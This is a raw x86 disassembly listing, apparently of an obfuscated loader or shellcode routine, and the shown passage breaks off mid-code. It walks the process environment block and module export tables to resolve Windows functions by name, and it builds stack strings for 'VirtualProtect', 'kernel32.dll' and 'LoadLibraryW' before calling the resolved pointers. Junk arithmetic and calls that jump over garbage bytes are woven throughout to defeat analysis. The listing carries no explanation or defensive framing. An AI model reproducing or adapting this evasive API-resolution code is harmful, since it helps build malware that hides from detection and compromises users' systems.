mov edx, dword [ebp - 0x194]
movsx eax, byte [ebp + edx - 0x898]
or eax, 0x20
cmp ecx, eax
jge 0x412ea3
mov dword [ebp - 0xcac], 0xffffffff
jmp 0x412ead
mov dword [ebp - 0xcac], 1
cmp dword [ebp - 0xcac], 0
jne 0x412ec4
mov ecx, dword [ebp - 0x1990]
mov dword [ebp - 0x3f8], ecx
jmp 0x412ed5
jmp 0x412cae
mov edx, dword [ebp - 0x764]
mov dword [ebp - 0x3f8], edx
cmp dword [ebp - 0x3f8], 0
je 0x412fb0
push edx
add edx, 0x3905
sub edx, 0x11882
or edx, 0x1a30
pop edx
push esi
push ecx
add esp, 4
call 0x412f0a
add byte [edi], dh
dec esi
inc edi
xor eax, 0x46384a33
add esp, 4
and esi, 0x112fe
pop esi
mov eax, dword [ebp - 0x3f8]
mov dword [ebp - 0x1994], eax
push eax
and eax, 0x217a
or eax, 0x5723
add eax, 0x17f5b
pop eax
push ecx
push ebx
add esp, 4
and ecx, 0xea1
xor ecx, 0x2a85
and ecx, 0x44cc
sub ecx, 0xda0a
pop ecx
mov ecx, dword [ebp - 0x1994]
mov dword [ebp - 0x1998], ecx
lea edx, [ebp - 0x1740]
push edx
call dword [ebp - 0x1998]
test eax, eax
jne 0x412fb0
push esi
sub esi, 0x5401
call 0x412f83
add byte [ebx + 0x49], al
cmp ecx, dword [ebp + 0x37]
dec esp
cmp eax, dword [ebx - 0x97efb3c]
scasb al, byte es:[edi]
adc al, 0
add byte [ecx + 0x10e8cee], al
add byte [esi + 0x53], bl
and ebx, 0xddc5
add ebx, 0xd2e9
pop ebx
mov dword [ebp - 0x7a0], 0
jmp 0x41369a
push edi
xor edi, 0x1031c
xor edi, 0xd014
jmp 0x412fc2
pop edi
push ebx
add ebx, 0xabf6
xor ebx, 0x12e1b
call 0x412fde
add byte [0x464c3f4f], dh
dec esp
xor eax, dword [ecx - 0x7d]
les eax, [ebx + ebx*2]
mov eax, dword fs:[0x18]
mov dword [ebp - 0x199c], eax
mov ecx, dword [ebp - 0x199c]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x19a0], edx
mov eax, dword [ebp - 0x19a0]
mov dword [ebp - 0x1604], eax
push edx
sub edx, 0x153ad
pop edx
push esi
push edi
add esp, 4
call 0x413024
add byte [0x4d38503b], dh
cmp al, 0x4f
inc edx
add esp, 4
jmp 0x41302e
and esi, 0xe7d7
jmp 0x41303a
pop esi
cmp dword [ebp - 0x1604], 0
jne 0x413053
mov dword [ebp - 0x2d4], 0
jmp 0x4132fa
mov ecx, dword [ebp - 0x1604]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xcb8], eax
push ecx
sub ecx, 0x47c3
pop ecx
push edx
xor edx, 0x114b7
xor edx, 0x11b5b
pop edx
push edx
sub edx, 0xbb4e
jmp 0x41308b
pop edx
push ecx
push ebx
add esp, 4
jmp 0x413096
pop ecx
cmp dword [ebp - 0xcb8], 0
jne 0x4130af
mov dword [ebp - 0x2d4], 0
jmp 0x4132fa
mov ecx, dword [ebp - 0xcb8]
mov dword [ebp - 0x510], ecx
push eax
and eax, 0x9180
pop eax
push edi
sub edi, 0x1443e
jmp 0x4130d2
pop edi
push ebx
xor ebx, 0xdee5
or ebx, 0xc2f3
sub ebx, 0xfc5f
add ebx, 0xb2d9
pop ebx
lea edx, [ebp - 0x1740]
mov dword [ebp - 0xcb4], edx
mov eax, dword [ebp - 0x510]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xcb0], ecx
xor edx, edx
mov word [ebp - 0x218], dx
xor eax, eax
mov word [ebp - 0x34], ax
push ebx
push ebx
add esp, 4
add ebx, 0x14af2
pop ebx
push ebx
add ebx, 0x1274f
jmp 0x413131
jmp 0x413136
call 0x413145
add byte [esi + 0x37], cl
dec edi
xor eax, 0x3435443c
add esp, 4
pop ebx
mov ecx, dword [ebp - 0xcb0]
mov dx, word [ecx]
mov word [ebp - 0x103e], dx
mov eax, dword [ebp - 0xcb0]
add eax, 2
mov dword [ebp - 0xcb0], eax
mov cx, word [ebp - 0x103e]
mov word [ebp - 0x218], cx
mov edx, dword [ebp - 0xcb4]
mov ax, word [edx]
mov word [ebp - 0x1040], ax
mov ecx, dword [ebp - 0xcb4]
add ecx, 2
mov dword [ebp - 0xcb4], ecx
mov dx, word [ebp - 0x1040]
mov word [ebp - 0x34], dx
push edx
call 0x4131af
add byte [esi], bh
dec ebp
inc eax
aaa
dec ebp
inc eax
inc edx
inc edx
add esp, 4
and edx, 0x1586f
pop edx
push esi
sub esi, 0x14e62
call 0x4131ce
add byte [eax + 0x4e], al
xor eax, 0x3e344932
aas
add esp, 4
pop esi
movzx eax, word [ebp - 0x34]
test eax, eax
jne 0x4131ef
movzx ecx, word [ebp - 0x218]
movzx edx, word [ebp - 0x34]
sub ecx, edx
mov dword [ebp - 0x160c], ecx
jmp 0x413249
movzx eax, word [ebp - 0x218]
movzx ecx, word [ebp - 0x34]
cmp eax, ecx
je 0x413117
movzx edx, word [ebp - 0x218]
xor edx, 0x20
movzx eax, word [ebp - 0x34]
cmp edx, eax
je 0x413117
movzx ecx, word [ebp - 0x218]
movzx edx, word [ebp - 0x34]
cmp ecx, edx
jge 0x413233
mov dword [ebp - 0x1608], 0xffffffff
jmp 0x41323d
mov dword [ebp - 0x1608], 1
mov eax, dword [ebp - 0x1608]
mov dword [ebp - 0x160c], eax
cmp dword [ebp - 0x160c], 0
jne 0x413292
push esi
push edx
add esp, 4
sub esi, 0x178dc
or esi, 0x15165
or esi, 0x14b29
pop esi
push esi
sub esi, 0x1534
add esi, 0xb9d0
or esi, 0x17593
sub esi, 0x101a6
pop esi
mov ecx, dword [ebp - 0x510]
mov dword [ebp - 0x2d4], ecx
jmp 0x4132fa
push esi
push ecx
add esp, 4
sub esi, 0x4a0d
add esi, 0xc9ad
call 0x4132b0
add byte [ebx + edi + 0x42], al
push eax
inc ebx
inc ecx
aaa
add esp, 4
call 0x4132c0
add byte [ebx], bh
cmp edi, dword [ecx]
inc ecx
cmp byte [0x4c4833e], dh
pop esi
mov edx, dword [ebp - 0x510]
mov eax, dword [edx]
mov dword [ebp - 0x510], eax
mov ecx, dword [ebp - 0x510]
cmp ecx, dword [ebp - 0xcb8]
je 0x4132f0
mov edx, dword [ebp - 0x510]
cmp dword [edx + 0x30], 0
jne 0x4130bb
mov dword [ebp - 0x2d4], 0
push edx
and edx, 0x1106a
call 0x413310
add byte [edi], dh
inc edx
inc eax
aas
dec eax
dec esp
cmp eax, 0xc483494a
add al, 0x5a
push ecx
call 0x413322
add byte [eax], bh
aas
inc ebx
inc edx
inc eax
dec eax
cmp byte [ebx - 0x1e7efb3c], al
mov dword [ecx], edi
add byte [ecx - 0x75], bl
test dword [edi*8 + 0x488bffff], ebp
sbb byte [ecx - 0x32373], cl
call dword [esi + 0x56]
add esp, 4
sub esi, 0xa97f
sub esi, 0x96ce
add esi, 0x1293f
sub esi, 0x33e7
pop esi
push ecx
xor ecx, 0xa371
or ecx, 0x30e1
add ecx, 0x1756b
pop ecx
mov dword [ebp - 0x774], 0
mov edx, dword [ebp - 0x324]
mov dword [ebp - 0x1610], edx
cmp dword [ebp - 0x1610], 0
jne 0x41339d
mov eax, dword [ebp - 0x774]
mov dword [ebp - 0x514], eax
jmp 0x41368e
mov ecx, dword [ebp - 0x1610]
mov edx, dword [ebp - 0x324]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x1614], edx
jne 0x4133c5
mov eax, dword [ebp - 0x774]
mov dword [ebp - 0x514], eax
jmp 0x41368e
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x1614]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1618], ecx
cmp dword [ebp - 0x1618], 0
jne 0x4133f7
mov edx, dword [ebp - 0x774]
mov dword [ebp - 0x514], edx
jmp 0x41368e
mov eax, dword [ebp - 0x324]
add eax, dword [ebp - 0x1618]
mov dword [ebp - 0x768], eax
jne 0x41341c
mov ecx, dword [ebp - 0x774]
mov dword [ebp - 0x514], ecx
jmp 0x41368e
mov edx, dword [ebp - 0x768]
mov eax, dword [ebp - 0x324]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x19a4], eax
mov ecx, dword [ebp - 0x768]
mov edx, dword [ebp - 0x324]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x19a8], edx
mov eax, dword [ebp - 0x768]
mov ecx, dword [ebp - 0x324]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x19ac], ecx
mov dword [ebp - 0x76c], 0
jmp 0x413476
mov edx, dword [ebp - 0x76c]
add edx, 1
mov dword [ebp - 0x76c], edx
mov eax, dword [ebp - 0x768]
mov ecx, dword [ebp - 0x76c]
cmp ecx, dword [eax + 0x18]
jae 0x413682
mov edx, dword [ebp - 0x76c]
mov eax, dword [ebp - 0x19a4]
mov ecx, dword [ebp - 0x324]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x770], ecx
mov edx, dword [ebp - 0x76c]
mov eax, dword [ebp - 0x19a8]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x19ac]
mov eax, dword [ebp - 0x324]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x1d34], eax
mov dword [ebp - 0x198], 0
jmp 0x4134e6
mov ecx, dword [ebp - 0x198]
add ecx, 1
mov dword [ebp - 0x198], ecx
mov edx, dword [ebp - 0x770]
add edx, dword [ebp - 0x198]
movsx eax, byte [edx]
test eax, eax
je 0x413598
mov ecx, dword [ebp - 0x198]
movsx edx, byte [ebp + ecx - 0x87c]
test edx, edx
je 0x413598
push edi
call 0x413523
add byte [eax + 0x4b], cl
cmp edx, dword [eax + 0x3c]
aaa
inc esi
inc edi
xor eax, 0x8104c483
out dx, eax
add dword [esi], ecx
add byte [eax], al
pop edi
push ebx
push eax
add esp, 4
sub ebx, 0x4f76
sub ebx, 0x123c7
sub ebx, 0x518f
pop ebx
mov eax, dword [ebp - 0x770]
add eax, dword [ebp - 0x198]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x198]
movsx eax, byte [ebp + edx - 0x87c]
cmp ecx, eax
je 0x41358a
mov ecx, dword [ebp - 0x770]
add ecx, dword [ebp - 0x198]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x198]
movsx ecx, byte [ebp + eax - 0x87c]
cmp edx, ecx
jne 0x413591
jmp 0x4134d7
jmp 0x413598
push edx
sub edx, 0xaf8f
pop edx
push esi
push ecx
add esp, 4
sub esi, 0x3d2e
jmp 0x4135b0
xor esi, 0x1329f
jmp 0x4135bb
pop esi
push esi
sub esi, 0x107b9
sub esi, 0x1c05
pop esi
mov edx, dword [ebp - 0x770]
add edx, dword [ebp - 0x198]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x198]
movsx edx, byte [ebp + ecx - 0x87c]
cmp eax, edx
jne 0x4135f7
mov dword [ebp - 0xcbc], 0
jmp 0x413666
push esi
jmp 0x4135fe
call 0x41360b
add byte [0x3250354f], bh
dec eax
cmp eax, 0x8104c483
out dx, al
fdivr qword [edi + 0x565e0000]
or esi, 0x24e7
sub esi, 0x75a3
and esi, 0x1010c
pop esi
mov eax, dword [ebp - 0x770]
add eax, dword [ebp - 0x198]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x198]
movsx eax, byte [ebp + edx - 0x87c]
or eax, 0x20
cmp ecx, eax
jge 0x41365c
mov dword [ebp - 0xcbc], 0xffffffff
jmp 0x413666
mov dword [ebp - 0xcbc], 1
cmp dword [ebp - 0xcbc], 0
jne 0x41367d
mov ecx, dword [ebp - 0x1d34]
mov dword [ebp - 0x514], ecx
jmp 0x41368e
jmp 0x413467
mov edx, dword [ebp - 0x774]
mov dword [ebp - 0x514], edx
mov eax, dword [ebp - 0x514]
mov dword [ebp - 0x7a0], eax
push eax
xor eax, 0x5861
pop eax
push esi
and esi, 0xa2d2
sub esi, 0xa3c
pop esi
push ecx
push edx
add esp, 4
xor ecx, 0x16142
call 0x4136c8
add byte [ecx + 0x48], al
cmp bh, byte ds:[edx]
inc edx
aaa
add esp, 4
pop ecx
mov ecx, dword [ebp - 0x3e4]
add ecx, 0xe
mov dword [ebp - 0x19fc], ecx
push edi
add edi, 0x617c
pop edi
push esi
sub esi, 0x12b6e
jmp 0x4136f2
pop esi
push eax
push edx
add esp, 4
and eax, 0x39e9
jmp 0x413706
or eax, 0x16db9
pop eax
cmp dword [ebp - 0x3e4], 0
je 0x41371f
cmp dword [ebp - 0xac4], 0
jne 0x413765
push edx
push ecx
add esp, 4
and edx, 0x53b1
jmp 0x413732
sub edx, 0x177c3
or edx, 0x6809
pop edx
push esi
push esi
add esp, 4
jmp 0x41374a
or esi, 0x5f41
pop esi
mov edx, dword [ebp - 0x7a0]
mov dword [ebp - 0x19b0], edx
push 0
call dword [ebp - 0x19b0]
mov dword [ebp - 0x20c8], 0xa
push edx
or edx, 0x1660a
pop edx
push ecx
xor ecx, 0xc354
sub ecx, 0xc5c2
add ecx, 0x552e
pop ecx
push ebx
jmp 0x413791
jmp 0x41379a
and ebx, 0x25e3
pop ebx
mov eax, dword [ebp - 0x3e4]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x3ed], cl
mov edx, dword [ebp - 0xac4]
sub edx, dword [ebp - 0x3e4]
mov dword [ebp - 0x169c], edx
mov dword [ebp - 0xcec], 0
push eax
push esi
add esp, 4
sub eax, 0xd993
pop eax
push ecx
add ecx, 0x6fe6
add ecx, 0x17510
or ecx, 0xa573
pop ecx
push edx
call 0x4137fa
add byte [ecx + 0x3c], cl
cmp al, 0x49
dec eax
inc esi
dec ebp
add esp, 4
pop edx
mov byte [ebp - 0x9d8], 0x56
mov byte [ebp - 0x9d7], 0x69
mov byte [ebp - 0x9d6], 0x72
mov byte [ebp - 0x9d5], 0x74
mov byte [ebp - 0x9d4], 0x75
mov byte [ebp - 0x9d3], 0x61
mov byte [ebp - 0x9d2], 0x6c
mov byte [ebp - 0x9d1], 0x50
mov byte [ebp - 0x9d0], 0x72
mov byte [ebp - 0x9cf], 0x6f
mov byte [ebp - 0x9ce], 0x74
mov byte [ebp - 0x9cd], 0x65
mov byte [ebp - 0x9cc], 0x63
mov byte [ebp - 0x9cb], 0x74
mov byte [ebp - 0x9ca], 0
push ebx
add ebx, 0x15f58
pop ebx
push edi
sub edi, 0xe462
pop edi
push edi
xor edi, 0x3fa7
pop edi
push esi
push edi
add esp, 4
and esi, 0x17b7c
add esi, 0xecb9
pop esi
push eax
or eax, 0x5e13
pop eax
mov eax, dword fs:[0x18]
mov dword [ebp - 0x19b4], eax
mov ecx, dword [ebp - 0x19b4]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x19b8], edx
mov eax, dword [ebp - 0x19b8]
mov dword [ebp - 0x161c], eax
push ebx
push eax
add esp, 4
and ebx, 0x130c6
pop ebx
push esi
add esi, 0xd38f
pop esi
push esi
push eax
add esp, 4
and esi, 0x1530a
sub esi, 0x3de0
xor esi, 0x8f3d
or esi, 0x2d50
pop esi
cmp dword [ebp - 0x161c], 0
jne 0x41390a
mov dword [ebp - 0x2f4], 0
jmp 0x413bb1
mov ecx, dword [ebp - 0x161c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xcc8], eax
push edx
and edx, 0xeae8
jmp 0x41392a
pop edx
push ecx
add ecx, 0x1633d
add ecx, 0x3cb2
jmp 0x413941
pop ecx
push esi
push esi
add esp, 4
xor esi, 0xca9d
pop esi
cmp dword [ebp - 0xcc8], 0
jne 0x413966
mov dword [ebp - 0x2f4], 0
jmp 0x413bb1
mov ecx, dword [ebp - 0xcc8]
mov dword [ebp - 0x518], ecx
push edi
push esi
add esp, 4
call 0x413984
add byte [edx + ecx*2], bh
dec esp
inc edi
dec ecx
xor bh, byte [ebx]
add esp, 4
call 0x413994
add byte [ebx + 0x3d], al
aas
cmp eax, 0x833e393a
les eax, [ecx + eax*4]
iretd
push ecx
push ebx
add esp, 4
add ecx, 0x7736
add ecx, 0xf6ae
pop ecx
push esi
xor esi, 0xd367
xor esi, 0xa51a
pop esi
push ecx
push ebx
add esp, 4
add ecx, 0x121e5
xor ecx, 0xf5e7
pop ecx
cmp dword [ebp - 0x2f4], 0
jne 0x4144e8
mov eax, 0x6b
mov word [ebp - 0x17b4], ax
mov ecx, 0x65
mov word [ebp - 0x17b2], cx
mov edx, 0x72
mov word [ebp - 0x17b0], dx
mov eax, 0x6e
mov word [ebp - 0x17ae], ax
mov ecx, 0x65
mov word [ebp - 0x17ac], cx
mov edx, 0x6c
mov word [ebp - 0x17aa], dx
mov eax, 0x33
mov word [ebp - 0x17a8], ax
mov ecx, 0x32
mov word [ebp - 0x17a6], cx
mov edx, 0x2e
mov word [ebp - 0x17a4], dx
mov eax, 0x64
mov word [ebp - 0x17a2], ax
mov ecx, 0x6c
mov word [ebp - 0x17a0], cx
mov edx, 0x6c
mov word [ebp - 0x179e], dx
xor eax, eax
mov word [ebp - 0x179c], ax
push eax
push edx
add esp, 4
sub eax, 0xf8d3
jmp 0x413c9c
pop eax
push ebx
push edx
add esp, 4
and ebx, 0xb6e2
sub ebx, 0x8b6c
add ebx, 0x17c1
or ebx, 0xc5b
pop ebx
mov byte [ebp - 0x8a8], 0x4c
mov byte [ebp - 0x8a7], 0x6f
mov byte [ebp - 0x8a6], 0x61
mov byte [ebp - 0x8a5], 0x64
mov byte [ebp - 0x8a4], 0x4c
mov byte [ebp - 0x8a3], 0x69
mov byte [ebp - 0x8a2], 0x62
mov byte [ebp - 0x8a1], 0x72
mov byte [ebp - 0x8a0], 0x61
mov byte [ebp - 0x89f], 0x72
mov byte [ebp - 0x89e], 0x79
mov byte [ebp - 0x89d], 0x57
mov byte [ebp - 0x89c], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x19bc], ecx
mov edx, dword [ebp - 0x19bc]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x19c0], eax
mov ecx, dword [ebp - 0x19c0]
mov dword [ebp - 0x1628], ecx
push ebx
push edx
add esp, 4
add ebx, 0x16cf2
sub ebx, 0x11887
xor ebx, 0x15295
and ebx, 0x127a8
pop ebx
push edx
push eax
add esp, 4
jmp 0x413d69
and edx, 0xb04
pop edx
cmp dword [ebp - 0x1628], 0
jne 0x413d88
mov dword [ebp - 0x778], 0
jmp 0x41402f
mov edx, dword [ebp - 0x1628]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xcd4], ecx
push edi
add edi, 0x9250
pop edi
push edx
and edx, 0x193b
jmp 0x413db1
pop edx
push edx
add edx, 0x69cf
add edx, 0x139cb
add edx, 0xdfa1
add edx, 0x10733
pop edx
cmp dword [ebp - 0xcd4], 0
jne 0x413de4
mov dword [ebp - 0x778], 0
jmp 0x41402f
mov edx, dword [ebp - 0xcd4]
mov dword [ebp - 0x51c], edx
push eax
push ecx
add esp, 4
xor eax, 0x10546
jmp 0x413e03
sub eax, 0x4969
call 0x413e16
add byte [edi + 0x4e], cl
cmp eax, 0x44383336
add esp, 4
pop eax
push edi
add edi, 0xe960
pop edi
lea eax, [ebp - 0x17b4]
mov dword [ebp - 0xcd0], eax
mov ecx, dword [ebp - 0x51c]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xccc], edx
xor eax, eax
mov word [ebp - 0x220], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push edi
jmp 0x413e52
jmp 0x413e57
xor edi, 0x73ef
pop edi
push ecx
push edx
add esp, 4
sub ecx, 0x352
and ecx, 0xa1a4
xor ecx, 0xec1e
pop ecx
push ecx
xor ecx, 0x1570d
pop ecx
mov edx, dword [ebp - 0xccc]
mov ax, word [edx]
mov word [ebp - 0x1046], ax
mov ecx, dword [ebp - 0xccc]
add ecx, 2
mov dword [ebp - 0xccc], ecx
mov dx, word [ebp - 0x1046]
mov word [ebp - 0x220], dx
mov eax, dword [ebp - 0xcd0]
mov cx, word [eax]
mov word [ebp - 0x1048], cx
mov edx, dword [ebp - 0xcd0]
add edx, 2
mov dword [ebp - 0xcd0], edx
mov ax, word [ebp - 0x1048]
mov word [ebp - 0x3c], ax
push eax
call 0x413ee5
add byte [esp + esi + 0x3d], al
xor al, 0x4b
inc esp
xor al, 0x49
inc esp
add esp, 4
xor eax, 0x140c4
or eax, 0x14815
pop eax
push esi
push eax
add esp, 4
xor esi, 0x1206e
sub esi, 0x1130b
pop esi
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x413f24
movzx edx, word [ebp - 0x220]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1670], edx
jmp 0x413f7e
movzx ecx, word [ebp - 0x220]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x413e4c
movzx eax, word [ebp - 0x220]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x413e4c
movzx edx, word [ebp - 0x220]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x413f68
mov dword [ebp - 0x162c], 0xffffffff
jmp 0x413f72
mov dword [ebp - 0x162c], 1
mov ecx, dword [ebp - 0x162c]
mov dword [ebp - 0x1670], ecx
cmp dword [ebp - 0x1670], 0
jne 0x413fc7
push ecx
add ecx, 0x92dd
sub ecx, 0x15
jmp 0x413f9b
add ecx, 0x1849f
pop ecx
push eax
xor eax, 0x7de7
call 0x413fb5
add byte [eax], bh
aas
cmp eax, 0x83474a4f
les eax, [eax + ebx*2]
mov edx, dword [ebp - 0x51c]
mov dword [ebp - 0x778], edx
jmp 0x41402f
push ecx
and ecx, 0x369
pop ecx
push edx
push ecx
add esp, 4
add edx, 0x4041
sub edx, 0x14a20
xor edx, 0xdf19
or edx, 0x14d1a
pop edx
push edx
push ecx
add esp, 4
xor edx, 0x996
pop edx
mov eax, dword [ebp - 0x51c]
mov ecx, dword [eax]
mov dword [ebp - 0x51c], ecx
mov edx, dword [ebp - 0x51c]
cmp edx, dword [ebp - 0xcd4]
je 0x414025
mov eax, dword [ebp - 0x51c]
cmp dword [eax + 0x30], 0
jne 0x413df0
mov dword [ebp - 0x778], 0
push ebx
add ebx, 0x988
pop ebx
push ecx
push edi
add esp, 4
add ecx, 0xaf2a
add ecx, 0x9df1
jmp 0x41404d
call 0x41405d
add byte [ebp + eax*2 + 0x35], al
dec ecx
inc ecx
inc ebx
inc edx
cmp al, 0x3a
add esp, 4
pop ecx
cmp dword [ebp - 0x778], 0
jne 0x4140ab
push edi
push edx
add esp, 4
xor edi, 0x1ad5
jmp 0x41407a
pop edi
push eax
push eax
add esp, 4
xor eax, 0x82b8
pop eax
push esi
push ebx
add esp, 4
jmp 0x414095
xor esi, 0x5ce1
pop esi
mov dword [ebp - 0xac0], 0
jmp 0x414bd3
push ebx
sub ebx, 0xfba3
or ebx, 0x46d0
or ebx, 0x19f9
xor ebx, 0x2898
pop ebx
push edx
push edi
add esp, 4
and edx, 0x1813a
xor edx, 0x5706
xor edx, 0x4bf1
pop edx
mov ecx, dword [ebp - 0x778]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x3a4], edx
mov dword [ebp - 0x788], 0
mov eax, dword [ebp - 0x3a4]
mov dword [ebp - 0x1674], eax
cmp dword [ebp - 0x1674], 0
jne 0x41411c
mov ecx, dword [ebp - 0x788]
mov dword [ebp - 0x3fc], ecx
jmp 0x41440d
mov edx, dword [ebp - 0x1674]
mov eax, dword [ebp - 0x3a4]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1678], eax
jne 0x414144
mov ecx, dword [ebp - 0x788]
mov dword [ebp - 0x3fc], ecx
jmp 0x41440d
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1678]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1680], edx
cmp dword [ebp - 0x1680], 0
jne 0x414176
mov eax, dword [ebp - 0x788]
mov dword [ebp - 0x3fc], eax
jmp 0x41440d
mov ecx, dword [ebp - 0x3a4]
add ecx, dword [ebp - 0x1680]
mov dword [ebp - 0x77c], ecx
jne 0x41419b
mov edx, dword [ebp - 0x788]
mov dword [ebp - 0x3fc], edx
jmp 0x41440d
mov eax, dword [ebp - 0x77c]
mov ecx, dword [ebp - 0x3a4]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x19c4], ecx
mov edx, dword [ebp - 0x77c]
mov eax, dword [ebp - 0x3a4]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x19c8], eax
mov ecx, dword [ebp - 0x77c]
mov edx, dword [ebp - 0x3a4]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x19cc], edx
mov dword [ebp - 0x780], 0
jmp 0x4141f5
mov eax, dword [ebp - 0x780]
add eax, 1
mov dword [ebp - 0x780], eax
mov ecx, dword [ebp - 0x77c]
mov edx, dword [ebp - 0x780]
cmp edx, dword [ecx + 0x18]
jae 0x414401
mov eax, dword [ebp - 0x780]
mov ecx, dword [ebp - 0x19c4]
mov edx, dword [ebp - 0x3a4]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x784], edx
mov eax, dword [ebp - 0x780]
mov ecx, dword [ebp - 0x19c8]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x19cc]
mov ecx, dword [ebp - 0x3a4]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x19d0], ecx
mov dword [ebp - 0x19c], 0
jmp 0x414265
mov edx, dword [ebp - 0x19c]
add edx, 1
mov dword [ebp - 0x19c], edx
mov eax, dword [ebp - 0x784]
add eax, dword [ebp - 0x19c]
movsx ecx, byte [eax]
test ecx, ecx
je 0x414317
mov edx, dword [ebp - 0x19c]
movsx eax, byte [ebp + edx - 0x8a8]
test eax, eax
je 0x414317
push edx
push ecx
add esp, 4
xor edx, 0x3b42
pop edx
push esi
push ebx
add esp, 4
jmp 0x4142ac
pop esi
push edi
push ebx
add esp, 4
call 0x4142c0
add byte [edi], bh
inc ebx
cmp edi, dword [edx + edi]
dec ecx
xor ecx, dword [ebp - 0x7d]
les eax, [edi + ebx*2]
mov ecx, dword [ebp - 0x784]
add ecx, dword [ebp - 0x19c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x19c]
movsx ecx, byte [ebp + eax - 0x8a8]
cmp edx, ecx
je 0x414309
mov edx, dword [ebp - 0x784]
add edx, dword [ebp - 0x19c]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x19c]
movsx edx, byte [ebp + ecx - 0x8a8]
cmp eax, edx
jne 0x414310
jmp 0x414256
jmp 0x414317
push edx
push edx
add esp, 4
jmp 0x414322
pop edx
push esi
push edx
add esp, 4
sub esi, 0x743f
or esi, 0x3c36
pop esi
push ecx
call 0x414345
add byte [esi + esi + 0x3f], al
dec edx
cmp dword [ebx + esi + 0x3e], ecx
dec eax
add esp, 4
pop ecx
mov eax, dword [ebp - 0x784]
add eax, dword [ebp - 0x19c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x19c]
movsx eax, byte [ebp + edx - 0x8a8]
cmp ecx, eax
jne 0x414376
mov dword [ebp - 0xcd8], 0
jmp 0x4143e5
push ecx
push eax
add esp, 4
or ecx, 0x13991
and ecx, 0xf21
xor ecx, 0x1009d
pop ecx
push eax
call 0x41439f
add byte [eax + 0x39], dl
cmp byte [ebx], dh
dec esi
inc eax
aaa
inc edx
dec esp
inc edi
add esp, 4
jmp 0x4143a7
pop eax
mov ecx, dword [ebp - 0x784]
add ecx, dword [ebp - 0x19c]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x19c]
movsx ecx, byte [ebp + eax - 0x8a8]
or ecx, 0x20
cmp edx, ecx
jge 0x4143db
mov dword [ebp - 0xcd8], 0xffffffff
jmp 0x4143e5
mov dword [ebp - 0xcd8], 1
cmp dword [ebp - 0xcd8], 0
jne 0x4143fc
mov edx, dword [ebp - 0x19d0]
mov dword [ebp - 0x3fc], edx
jmp 0x41440d
jmp 0x4141e6
mov eax, dword [ebp - 0x788]
mov dword [ebp - 0x3fc], eax
cmp dword [ebp - 0x3fc], 0
je 0x4144e8
push ebx
push ecx
add esp, 4
xor ebx, 0x16f62
jmp 0x41442d
pop ebx
push esi
push edi
add esp, 4
add esi, 0xfd96
or esi, 0x4d7b
xor esi, 0x1529f
xor esi, 0x180e8
pop esi
mov ecx, dword [ebp - 0x3fc]
mov dword [ebp - 0x19d4], ecx
push edi
and edi, 0x16c82
add edi, 0xb057
call 0x414474
add byte [ebx + 0x4d], cl
inc ebp
aaa
inc ebp
cmp al, 0x4f
dec ebx
dec ecx
add esp, 4
pop edi
push eax
push edx
add esp, 4
and eax, 0xdcf5
add eax, 0x119a4
pop eax
mov edx, dword [ebp - 0x19d4]
mov dword [ebp - 0x19d8], edx
lea eax, [ebp - 0x1740]
push eax
call dword [ebp - 0x19d8]
test eax, eax
jne 0x4144e8
push ecx
push ebx
add esp, 4
add ecx, 0x13b4
call 0x4144c1
add byte [eax + 0x4d], cl
xor al, 0x36
inc esp
dec esi
inc ebx
inc edx
dec esp
add esp, 4
and ecx, 0x1023d
pop ecx
push ecx
or ecx, 0x1359f
xor ecx, 0x80a9
pop ecx
mov dword [ebp - 0xac0], 0
jmp 0x414bd3
push edi
push ecx
add esp, 4
xor edi, 0xe2bf
and edi, 0x127b0
or edi, 0xfee5
and edi, 0xf9d2
pop edi
push ebx
add ebx, 0x31e3
and ebx, 0x16c10
and ebx, 0xc23f
pop ebx
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x19dc], ecx
mov edx, dword [ebp - 0x19dc]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x19e0], eax
